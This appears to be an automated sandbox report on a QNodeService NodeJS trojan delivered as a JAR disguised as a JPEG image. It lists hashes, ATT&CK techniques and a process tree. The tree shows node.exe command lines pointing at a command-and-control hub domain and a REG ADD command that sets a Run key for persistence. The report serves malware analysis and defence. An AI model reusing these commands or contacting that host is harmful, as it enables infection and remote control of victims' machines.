qnodeservice | eef5d4cf335b086fbca27b0f6437795a64694df627e4415d77875de2d79eb5d2

General

Target

Image_00166433873_JPEG.jar
Size

67KB
MD5

75c5bb1cb07afe3383059ade55067afc
SHA1

d260040ff3f2c8e6893cf895241b7453b68472f7
SHA256

eef5d4cf335b086fbca27b0f6437795a64694df627e4415d77875de2d79eb5d2
SHA512

aadef6dd797f76c012c5e00efe631a880a22e5537528d765b5b36b7fe76a9c0940f24f6034f00161de4ebf2acb3478b8c823e4ffcc79eff57102a4a825a191af

Score

10^/10

trojan qnodeservice persistence

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
2884	node.exe
3260	node.exe
204	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\Software\Microsoft\Windows\CurrentVersion\Run\62de3453-4b31-4cff-82f0-c88e13237f92 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ad43-170.dat	js
behavioral2/files/0x000100000001ad43-173.dat	js
behavioral2/files/0x000100000001ad43-177.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
24	wtfismyip.com
25	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
2884	node.exe
2884	node.exe
2884	node.exe
2884	node.exe
3260	node.exe
3260	node.exe
3260	node.exe
3260	node.exe
204	node.exe
204	node.exe
204	node.exe
204	node.exe
204	node.exe
204	node.exe
204	node.exe
204	node.exe
204	node.exe
204	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 4040 wrote to memory of 4064	4040	java.exe	73
PID 4040 wrote to memory of 4064	4040	java.exe	73
PID 4064 wrote to memory of 2884	4064	javaw.exe	77
PID 4064 wrote to memory of 2884	4064	javaw.exe	77
PID 2884 wrote to memory of 3260	2884	node.exe	79
PID 2884 wrote to memory of 3260	2884	node.exe	79
PID 3260 wrote to memory of 204	3260	node.exe	80
PID 3260 wrote to memory of 204	3260	node.exe	80
PID 204 wrote to memory of 3932	204	node.exe	82
PID 204 wrote to memory of 3932	204	node.exe	82
PID 3932 wrote to memory of 2296	3932	cmd.exe	83
PID 3932 wrote to memory of 2296	3932	cmd.exe	83

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\Image_00166433873_JPEG.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:4040
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\62d33c98.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4064
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain ntums330.hopto.org
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:2884
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_wZpHmF\boot.js --hub-domain ntums330.hopto.org
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3260
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_wZpHmF\boot.js --hub-domain ntums330.hopto.org
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:204
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "62de3453-4b31-4cff-82f0-c88e13237f92" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3932
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "62de3453-4b31-4cff-82f0-c88e13237f92" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:2296

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/204-178-0x000000F54FAC0000-0x000000F54FAC1000-memory.dmp

Filesize
4KB

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memory/2884-171-0x00000236A0800000-0x00000236A0801000-memory.dmp

Filesize
4KB

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memory/3260-174-0x00000287C4100000-0x00000287C4101000-memory.dmp

Filesize
4KB

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